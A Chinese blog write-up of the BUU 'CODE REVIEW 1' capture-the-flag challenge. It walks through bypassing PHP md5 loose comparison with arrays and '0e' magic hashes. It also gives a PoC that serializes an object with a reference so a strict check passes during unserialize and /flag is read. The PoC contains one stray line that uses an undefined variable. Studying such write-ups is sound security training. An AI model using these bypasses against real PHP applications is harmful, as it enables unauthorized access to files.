0
点赞
收藏
分享

微信扫一扫

BUU CODE REVIEW 1

少_游 2022-04-17 阅读 46
web安全

写在前面:这道题传引用的知识点,让我意识到php机制的一些不同,php有着自己的语言特性
一篇详细介绍php引用特性的文章

<?php

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}
  • md5绕过
    可以看出是弱比较,通过数组绕过,或者0e性质绕过
md51[]=1&&md52[]=2

md51=QNKCDZO&&md52=240670108
  • 传引用绕过
    在进入destruct函数之前,通过传引用让两个值相等,从而满足强比较的条件
<?php
class BUU {
   public $correct;
   public $input;
}
$a = new BUU();
$a->input = &$a->correct;
echo serialize($a);

example.php 给出一个传引用的例子,可以看到$b 的值与$a的值相等,随着$a的改变而改变
在这里插入图片描述
poc.php

<?php
echo serialize($profile);
class BUU {
   public $correct='';
   public $input='';
}
$a = new BUU();
$a->input = &$a->correct;
echo serialize($a);
?>

在这里插入图片描述

举报

相关推荐

0 条评论